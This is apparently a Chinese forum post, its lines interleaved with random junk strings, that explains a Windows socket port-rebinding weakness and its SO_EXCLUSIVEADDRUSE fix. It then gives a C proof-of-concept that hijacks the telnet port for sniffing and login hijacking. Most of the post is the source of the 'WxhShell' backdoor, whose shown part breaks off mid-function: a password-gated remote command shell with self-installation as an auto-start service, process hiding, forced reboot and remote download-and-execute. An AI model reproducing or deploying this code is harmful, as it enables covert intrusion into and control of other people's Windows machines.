在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xtfBfA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FAsFjRS gNYqAUG5 saddr.sin_family = AF_INET;
y5r4+2B |`TgX@,#9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1)m@?CaI` TaE~s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iOAbaPN sEMQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zc rY>t#l |`Or'%|PR 这意味着什么?意味着可以进行如下的攻击:
J(DN! $+p?Y)h . 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LbEM^D UT0){%2@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
AN!s{7V3 Ae]sGU|?' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
kQ1w5mCh ^9Qy/Er' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
=X\^J >/[GTqi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ApBWuXp|u F8-?dp f' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-Eu6U`"( ~5FW[_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#Cpd9| @+3kb.P%7 #include
.p0Clr! #include
HY)-/ #include
*(C(tPhC #include
HK`I\,K DWORD WINAPI ClientThread(LPVOID lpParam);
ZKHG !`X0 int main()
J'$>Gk] {
@)o^uU T WORD wVersionRequested;
!?c|XdjZ DWORD ret;
8Nu=^[qwQM WSADATA wsaData;
/xtq_*I1S BOOL val;
iQDx{m3] SOCKADDR_IN saddr;
{|I;YDA SOCKADDR_IN scaddr;
Z}$TKO*u int err;
)W/;=K SOCKET s;
cufH?Xg< SOCKET sc;
UMAgA!s int caddsize;
S<'[%ihx HANDLE mt;
_ODbY;M DWORD tid;
,eTU/Q>{,& wVersionRequested = MAKEWORD( 2, 2 );
T5a*z}L5 err = WSAStartup( wVersionRequested, &wsaData );
/c
uLc^(X if ( err != 0 ) {
lpz2 m\ printf("error!WSAStartup failed!\n");
wgCa58H76 return -1;
Z#rB} }
CHe>OreiS saddr.sin_family = AF_INET;
89r DyRJ; d3=KTTi\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sI{ M 0$,SF3K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|*}4 m'c saddr.sin_port = htons(23);
15o9 . if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L4!{h| {
B95B|tU>. printf("error!socket failed!\n");
/!c${W!sY return -1;
,^uEYT}j }
RzWXKBI\E] val = TRUE;
0#nPbe,Lj //SO_REUSEADDR选项就是可以实现端口重绑定的
Ii G6<|d8H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oYukLr {
sBcPq SMby printf("error!setsockopt failed!\n");
h*- Pr8 return -1;
\[y`'OD~ }
PYGRsrcFd# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
AvfNwE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y&V@^"` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9I4K}R rx] @A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ax (c# {
?#fu.YE\ ret=GetLastError();
E{|W(z,
printf("error!bind failed!\n");
Y'8?.a]' return -1;
"1%5, }
EM[WK+9>I{ listen(s,2);
+F^^c2E while(1)
\--8lH -K {
`\}v#2VJ caddsize = sizeof(scaddr);
lhqg$lb //接受连接请求
;C2K~8, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#w' kV# if(sc!=INVALID_SOCKET)
[Al& {
iKT [=c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
cLLbZ=` if(mt==NULL)
iv4H#rJ {
!wNr3LG printf("Thread Creat Failed!\n");
2.l:O2< break;
tNbN7yI }
)r
jiY%F$ }
(jAg_$6 CloseHandle(mt);
nCdR EXw }
V=o
t-1,j7 closesocket(s);
oC0qG[yp9S WSACleanup();
njputEGX return 0;
>&}%+r\ }
>s<^M|S07 DWORD WINAPI ClientThread(LPVOID lpParam)
ivN&HAxI@ {
++`0rY% SOCKET ss = (SOCKET)lpParam;
=,6z4" ) SOCKET sc;
y~U #veY unsigned char buf[4096];
Pu" P9 SOCKADDR_IN saddr;
1pgU}sRk long num;
(&F
,AY3A DWORD val;
T7hcnF$ DWORD ret;
y.< m#Zzt //如果是隐藏端口应用的话,可以在此处加一些判断
%`1q-,>v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
VgZsB$Ori saddr.sin_family = AF_INET;
U_I5fK= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^f4s"T saddr.sin_port = htons(23);
hYG6 pTCb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X:nN0p # {
"W955?4m printf("error!socket failed!\n");
W*),y: return -1;
L?mrbay }
JehrDC2N val = 100;
%D\[* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3
:<WY&9 {
!ug8SAOaz/ ret = GetLastError();
:LW4E9O=H return -1;
GLeK'0Q@ }
h7lDHIQf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"hH.#5j {
KUlp"{a`,K ret = GetLastError();
3sy (vC return -1;
{Tq_7,8 }
V{/?FO?E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a%/9v"} {
$QLcH;+7t printf("error!socket connect failed!\n");
8
Hg+H=? closesocket(sc);
2fnkw/ closesocket(ss);
Oi8.8M return -1;
|EX(8y }
TJ6*t!'*X while(1)
s %j_H {
uxvqMgR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1mOh{:1u //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y)* #)f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
EyJJ0 num = recv(ss,buf,4096,0);
5B3G
@KR if(num>0)
\fz<.l] send(sc,buf,num,0);
A$Hfr8w1u else if(num==0)
mwHB(7YS, break;
oAODp!_c num = recv(sc,buf,4096,0);
'vbsv T if(num>0)
&^}1O:8e send(ss,buf,num,0);
ib#KpEk else if(num==0)
XDOY`N^L break;
1ySk;;3 }
r!_-"~`7E closesocket(ss);
w0rRSD4S8B closesocket(sc);
`ZYoA
t]C~ return 0 ;
;g+N&)n }
[+T.at saBVgSd ~=M7 3U# ==========================================================
+hg3I8q: . qO@Q = 下边附上一个代码,,WXhSHELL
2_HNhW
B~MU^|v ==========================================================
&^ 1$^= ,8U&?8l #include "stdafx.h"
snE8 K}4 bzBEX mC #include <stdio.h>
x<tb #include <string.h>
i[7\[ #include <windows.h>
^}/PGG\~r #include <winsock2.h>
=Y{(%sn #include <winsvc.h>
<\rT%f}3^ #include <urlmon.h>
>E;uU[v)I Lb:g4A" #pragma comment (lib, "Ws2_32.lib")
qeV fE_< #pragma comment (lib, "urlmon.lib")
e^6)Zz1\ <wN}X#M #define MAX_USER 100 // 最大客户端连接数
sJL&:!}V> #define BUF_SOCK 200 // sock buffer
^a0um/+M} #define KEY_BUFF 255 // 输入 buffer
q9KHmhUD +\d56j+D #define REBOOT 0 // 重启
I8hz(2jI #define SHUTDOWN 1 // 关机
Aza /6OL o4G ?nvK- #define DEF_PORT 5000 // 监听端口
n9W(bG o 'N (:@]4N #define REG_LEN 16 // 注册表键长度
V#2+"(7h #define SVC_LEN 80 // NT服务名长度
?pW`cFLDHF GZN ^k+w // 从dll定义API
6M @[B|Q( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ra)3+M!x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y2N>HK0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?PuBa`zDE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'}ptj@, ]
{RDV A=] // wxhshell配置信息
;w{tv($$ struct WSCFG {
!"?#6-,Xn int ws_port; // 监听端口
hgYZOwQ char ws_passstr[REG_LEN]; // 口令
0fb2;&pUa int ws_autoins; // 安装标记, 1=yes 0=no
^S4d:-.3 char ws_regname[REG_LEN]; // 注册表键名
6a(yp3 char ws_svcname[REG_LEN]; // 服务名
dI.WK@W'o char ws_svcdisp[SVC_LEN]; // 服务显示名
M'7f O3&| char ws_svcdesc[SVC_LEN]; // 服务描述信息
2e+UM$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SE@LYeC}dE int ws_downexe; // 下载执行标记, 1=yes 0=no
\tf<B\oa char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!`Fxa4i> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>K_(J/&p *'Sd/%8{ };
|GdUL%1hnC YqhAZp< // default Wxhshell configuration
'nzg6^I7g struct WSCFG wscfg={DEF_PORT,
>N^Jj:~l "xuhuanlingzhe",
$Xv* ,Bq 1,
a#cCpE "Wxhshell",
%P;lv*v. "Wxhshell",
7Haa;2
T' "WxhShell Service",
y`Wty@ "Wrsky Windows CmdShell Service",
<Th6r.#? "Please Input Your Password: ",
yZ0-wI 1,
I&D5;8 "
http://www.wrsky.com/wxhshell.exe",
,?J! "Wxhshell.exe"
e(]!GA };
\j@OZ 1!xQ=DU" // 消息定义模块
6dq(T_eG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!j9t*2m[ char *msg_ws_prompt="\n\r? for help\n\r#>";
epA:v|S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;5]Lf$tZ char *msg_ws_ext="\n\rExit.";
5Yg'BkEr char *msg_ws_end="\n\rQuit.";
|kyX3~ char *msg_ws_boot="\n\rReboot...";
j$M h+5 char *msg_ws_poff="\n\rShutdown...";
wcrCEX=I>{ char *msg_ws_down="\n\rSave to ";
-o^7r@6 / C:Y94B-z char *msg_ws_err="\n\rErr!";
LC,F
<>w1 char *msg_ws_ok="\n\rOK!";
b o6d)Q k :(SCHf char ExeFile[MAX_PATH];
ISYXH9V int nUser = 0;
k|e7a2Wwt HANDLE handles[MAX_USER];
FvaUsOy" int OsIsNt;
MU`1LHg 0at/c-K` SERVICE_STATUS serviceStatus;
R6` WN SERVICE_STATUS_HANDLE hServiceStatusHandle;
[T8WThs F%@A6'c // 函数声明
E-T)*`e int Install(void);
}n]Ng]KM` int Uninstall(void);
EuZ<quwWg int DownloadFile(char *sURL, SOCKET wsh);
Z+*9#!?J int Boot(int flag);
9g9HlB&Ze void HideProc(void);
>~''&vdsk\ int GetOsVer(void);
z6KCv(zvB int Wxhshell(SOCKET wsl);
]0Y4U7W void TalkWithClient(void *cs);
y_*
!6Xr int CmdShell(SOCKET sock);
T;Lkaxsn int StartFromService(void);
5MroNr int StartWxhshell(LPSTR lpCmdLine);
H9'$C/w 8H%;WU9- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
EEEh~6?-e VOID WINAPI NTServiceHandler( DWORD fdwControl );
=2`[& Kr?TxhUHd // 数据结构和表定义
5#HW2"7 SERVICE_TABLE_ENTRY DispatchTable[] =
F6|TP.VY_. {
7o7)0l9! {wscfg.ws_svcname, NTServiceMain},
0eT(J7[ < {NULL, NULL}
LoURC$lS };
!O\82d1P vDp8__^ // 自我安装
bg!/%[ {M int Install(void)
P}Gj%4/G {
MUaq7B_> char svExeFile[MAX_PATH];
prWk2_D;* HKEY key;
K?6jXJseb strcpy(svExeFile,ExeFile);
qrb[-|ie& !]"@kl% // 如果是win9x系统,修改注册表设为自启动
sfpZc7 if(!OsIsNt) {
w^\52 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T`9lV2x*P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.iYJr;9`d RegCloseKey(key);
57'*w]4f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BGvre'67 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
FI)17i$
RegCloseKey(key);
&agWaf1%a return 0;
`
)/vq-9 }
pd:WEI
, }
ncZ+gzK|" }
d?y4GkK else {
3(="YbZ ?qmRbDI // 如果是NT以上系统,安装为系统服务
5[8xV%>; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Lz
|?ek7Q if (schSCManager!=0)
E@z<:pG{ {
&yct!YOB2 SC_HANDLE schService = CreateService
zN[hkmh (
LGq'WU31:) schSCManager,
;!>rnxB?4 wscfg.ws_svcname,
x,'(5* wscfg.ws_svcdisp,
&u]8IEv}u SERVICE_ALL_ACCESS,
Y[ j6u\y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f&=AA@jLv SERVICE_AUTO_START,
XPavReGf SERVICE_ERROR_NORMAL,
+vw\y svExeFile,
qFicBpB NULL,
G'nmllB`] NULL,
Ryl:a\ NULL,
"SNn^p59k NULL,
|'e^QpU5 NULL
^-TE([ bW );
l#g\X'bK if (schService!=0)
WO7z {
)!3V/`I CloseServiceHandle(schService);
M-$%Rzl_ CloseServiceHandle(schSCManager);
u0}vWkn\4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
L 8c0lx}Nn strcat(svExeFile,wscfg.ws_svcname);
sG(~^hJ_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9Uh"iMB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s%vis{2 RegCloseKey(key);
/Y/UM3/ return 0;
u]g%@3Pn }
5 )A1\ }
*1ilkmL% CloseServiceHandle(schSCManager);
>,v`EIg }
jSJqE_ 1 }
y|jl[pyg) c_dVWh e return 1;
zKyyU}LHH }
b10cuy|a/X ;d@#XIS&-( // 自我卸载
'S20\hwt- int Uninstall(void)
3#WT.4k {
h!M HKEY key;
%Si6]3-^@ $CRm3#+
~ if(!OsIsNt) {
L,HhbTRca if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`A,-@`p RegDeleteValue(key,wscfg.ws_regname);
#{6{TFx\ RegCloseKey(key);
l?\jB\, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pg6cF RegDeleteValue(key,wscfg.ws_regname);
Z@yW bjE7Z RegCloseKey(key);
3>3 Kwc~E return 0;
D+#E-8 }
?Lx24*5% }
.zr-:L5{ }
d}OTO10 else {
,xw#NG6 imVo<Je7z( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.fn\]rUv if (schSCManager!=0)
!({}(!P . {
a`wc\T^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
biL s+\C if (schService!=0)
Z
EQ@IS:Y {
Vk`h2BV if(DeleteService(schService)!=0) {
mJ<=n?{Z CloseServiceHandle(schService);
M#ZcY CloseServiceHandle(schSCManager);
#9=Vg return 0;
'%>=ZhO }
E}%B;"b/Tj CloseServiceHandle(schService);
CYt?,qk-r }
N'F77
. CloseServiceHandle(schSCManager);
gBd]B03 }
%3s1z<;R[S }
*}Xf!"I#]N :Oy%a'w
return 1;
[m->5H }
SDL7<ZaE ke!?BZx // 从指定url下载文件
I.I`6(Cb int DownloadFile(char *sURL, SOCKET wsh)
IWk4&yHUAu {
&`h{iK7 HRESULT hr;
!'Ak&j1:` char seps[]= "/";
Plc-4y1 char *token;
1&\0:vA^Y char *file;
Yh7rU?Gj char myURL[MAX_PATH];
1kz\IQ{ char myFILE[MAX_PATH];
)z>|4@, Qo>b*Ku; strcpy(myURL,sURL);
@<,X0S token=strtok(myURL,seps);
x-XD.qh7Hr while(token!=NULL)
Z~GL5]S {
-7SAK1c$ file=token;
1eA7>$w}[ token=strtok(NULL,seps);
QemyCCP+ }
fAF1"4f S2E8Gq9 GetCurrentDirectory(MAX_PATH,myFILE);
GeI-\F7b strcat(myFILE, "\\");
Cwr~HY strcat(myFILE, file);
^0Zf,40 send(wsh,myFILE,strlen(myFILE),0);
N1}c9} send(wsh,"...",3,0);
K~uXO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!H#bJTXB if(hr==S_OK)
O3;u G.:1 return 0;
ky8_UnaO else
*F WMn. return 1;
[m+2(I1 '-QwssE }
02Y]`CXj ~Cbc<[} // 系统电源模块
AJt+p&I[J int Boot(int flag)
`K*Q5n {
Qd)q([ HANDLE hToken;
uOKCAqYa TOKEN_PRIVILEGES tkp;
zy?.u.4L N%kt3vmQ_ if(OsIsNt) {
zofa-7'Bn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hZdoc< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7Sf
bx~48 tkp.PrivilegeCount = 1;
]E7F/O/. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3^IpE];+:u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Gq+z /Be if(flag==REBOOT) {
f W!a|?e$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!]42^?GH return 0;
2iHUZzz\ }
!NIhx109q else {
B|Du@^$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fJ5iS return 0;
i3dkYevs? }
<qtr }
Wfu(* else {
'>NCMB{* if(flag==REBOOT) {
7jxslI&F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?:pP8/y return 0;
~Uj=^leYO }
;m0~L=w else {
:Hn6b$Vy8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:uP,f<=)K return 0;
kh!FR u h }
[O$Wa:< 0x }
VdPtPq1 ?OId\'q return 1;
O $LfuL }
rr+|Zt
Y V n7*JS // win9x进程隐藏模块
vV6<^W:9F void HideProc(void)
oNr-Q& C, {
H[{F'c[e E8!e:l
=Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
d.3E[AJa( if ( hKernel != NULL )
eS{!)j_^ {
Olt`:;j- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2 X.r%&!1M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2-&k^Gl!: FreeLibrary(hKernel);
nx@=>E+a }
g~ZvA(` =w;F<M|Y return;
:Uz| 3gq }
\O}E7- g=39C> // 获取操作系统版本
X]'{(?Ch int GetOsVer(void)
T,7Y7c/3V {
_7<FOOM%8y OSVERSIONINFO winfo;
J{'>uD.@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3?[dE< GetVersionEx(&winfo);
u&1q [0y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~:0sk"t$1 return 1;
qJ;jfh! else
ATJWO1CtB return 0;
XO`0>^g }
dpJ_r>NI m/Oh\KlIl // 客户端句柄模块
RdWRWxTn8+ int Wxhshell(SOCKET wsl)
d^Inb!%w {
u_hD}V^x4 SOCKET wsh;
b+,';bW struct sockaddr_in client;
Mxe}B' DWORD myID;
5G::wuxk S-P/+K6 while(nUser<MAX_USER)
e_#._Pi {
8hXl%{6d3 int nSize=sizeof(client);
RzxNbeki[W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;P;-}u if(wsh==INVALID_SOCKET) return 1;
=V-A@_^!c a,xycX:U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ks"|}9\%< if(handles[nUser]==0)
S-Wz our, closesocket(wsh);
%kv0Wefs else
R,gR;Aarw nUser++;
\Npxv }
mIurA?&7! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^]7}YF2| (^s>m,h return 0;
H+1-] 'g` }
,X#2\r<| 9G9fDG#F\I // 关闭 socket
"k/;[ Wt] void CloseIt(SOCKET wsh)
`q?8A3A {
BZ:H`M`n closesocket(wsh);
--PtZ]Z nUser--;
A$<.a'&T! ExitThread(0);
@AGn{q }
X59:C3c l%[EXZ // 客户端请求句柄
?6yjy<D)$e void TalkWithClient(void *cs)
z,Medw6[ {
@GkILFN ?
K;dp SOCKET wsh=(SOCKET)cs;
sA/pVU char pwd[SVC_LEN];
%oq{L]C(rf char cmd[KEY_BUFF];
+Fuqchjq char chr[1];
1|RANy int i,j;
=5Q]m6-SgV 2-7IJ\ while (nUser < MAX_USER) {
yGWxpzmRS bW$J~ ynM if(wscfg.ws_passstr) {
6,)[+Bl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j2ve^F:Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~T9/#-e>BF //ZeroMemory(pwd,KEY_BUFF);
QFw +cy i=0;
*vflscgt while(i<SVC_LEN) {
?6Jx@ Sh NYE`Kin- // 设置超时
hHN'w73z fd_set FdRead;
&Nj3h(Ll struct timeval TimeOut;
QOjqQfmM; FD_ZERO(&FdRead);
TFH \K{DM FD_SET(wsh,&FdRead);
mk1bcK9 TimeOut.tv_sec=8;
DSC$i| TimeOut.tv_usec=0;
:e]a$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QcgRAo+u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*i]=f6G }'""(,2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2HpHxVJ pwd
=chr[0]; vk+VP 1D
if(chr[0]==0xd || chr[0]==0xa) { |rJ=Ksc
pwd=0; t0o`-d(
break; m6TNBX
} BbW^Wxd3
i++; M4zm,>?K
} Ey_" ~OB
ZYI{i?Te#
// 如果是非法用户,关闭 socket %70~M_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L%BNz3:Dt
} TatpXN\
>SML"+>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Anscr
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [K9'<Qnu
KAC6Snu1
while(1) { IOb*GTb
:E_g"_
ZeroMemory(cmd,KEY_BUFF); xgpi-l
9^,Lc1"M>
// 自动支持客户端 telnet标准 x97
j
j=0;
0uWR<,]
while(j<KEY_BUFF) { 3{""58
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b?TO=~k,
cmd[j]=chr[0]; ?3*l{[@J
if(chr[0]==0xa || chr[0]==0xd) { z54EG:x.7^
cmd[j]=0; /e7O$L)
break; ^.#jF#u~
} J/\V%~
1F
j++; JQ,1D`?.a
} [ JpKSTg[
`&KwtvkdI
// 下载文件 PE~G=1x3
if(strstr(cmd,"http://")) { >H'4{|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {7 $c8i
if(DownloadFile(cmd,wsh)) WKT4D}{1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `wus\&!W
else 3D`YZ#M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [21=5S
} 3|1ilP
else { w9NHk~LHKF
ux_Mrh'
switch(cmd[0]) { ?**+e%$$
eln&]d;
// 帮助 q8s0AN'@t'
case '?': { ]<H&+ &!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IqC]! H0
break; }D7I3]2>
} b+@JY2dvj
// 安装 0|$v-`P$
case 'i': { CPP`
qt%f
if(Install()) %K\?E98M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R(2tlZ
else Cz72?[6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +)j$|x~(A
break; c%&:6QniZ
} !'mq ?C=
// 卸载 _acE:H
case 'r': { I
6<*X
if(Uninstall()) Bm"KOr$}-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p /#$io
else Rniq(FAx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NbC@z9Q
break; #Yr9AVr}K
} c:-!'l$ !
// 显示 wxhshell 所在路径 Z2TL #@
case 'p': { h<Ft_#|o[
char svExeFile[MAX_PATH]; HvM)e.!
strcpy(svExeFile,"\n\r"); U}MXT<6
strcat(svExeFile,ExeFile); ^;/b+ /B0
send(wsh,svExeFile,strlen(svExeFile),0); sB^<6W!`(
break; TYJ:!
} 3~}uqaGt
// 重启 2'_:S@
case 'b': { Z$0uH* h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gA:5M
if(Boot(REBOOT)) ZHGC6a!a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IG|X!l
else { o3I Tr';
closesocket(wsh); fRtUvC-#H
ExitThread(0); O)ME"@r@:
} 'h^0HE\~p
break; ,!dh2xNH^
} j:E<p_T
// 关机
KnsT\>[K
case 'd': { qW!]co
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s<oNE)xe
if(Boot(SHUTDOWN)) 1_\;- !t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J.ck~;3
else { %!du,2
closesocket(wsh); 4eikLRD,
ExitThread(0); *d"DA[(
} e pU:
break; yto,>Utzg
} -C<zF`jO
// 获取shell (*oL+ef-C
case 's': { l-ct?T_@
CmdShell(wsh); =$nB/K,8AX
closesocket(wsh); jBU4F~1y
ExitThread(0); P@,nA41,j
break; KuMF^0V%c
} |1b_3?e
// 退出 &|!7Z4N
case 'x': { T}"6wywM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b@S Cn9
CloseIt(wsh); PB#fP_0C
break; ?r?jl;A&
} UN zlN
// 离开 -5T=:2M
case 'q': { :_t}QP"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (cN}Epi(D
closesocket(wsh); c05 %iv
WSACleanup(); rk7QZVE
exit(1); R,|d`)T
break; G(~;]xNW+
} r8,romE$
} Hd,p!_
} !zPa_`P
Db6om7N
// 提示信息 |\U5),m
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )l!3(
} DqX{'jj
} h=(DX5:A
F0:A]`|
return; ^_ kJKM,
} 4H|(c[K;
xj[(P$,P
// shell模块句柄 xia |+
int CmdShell(SOCKET sock) 55;g1o}}f
{ aBNZdX]vzO
STARTUPINFO si; PJ2qfYsH=>
ZeroMemory(&si,sizeof(si)); Pv<24:ao
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I('Un@hS
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v>Mnl
PROCESS_INFORMATION ProcessInfo; $6CwkM:
char cmdline[]="cmd"; (s{RnD
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v{9t]s>B
return 0; X`fn8~5
} C&6IU8l\
XK: 9r{r{
// 自身启动模式 _L@2_#h!
int StartFromService(void) ,2j.<g&
{ 5vw{b?
typedef struct ^|TG$`M(w
{ xCYE
B}o9r
DWORD ExitStatus; $d,0=Ci
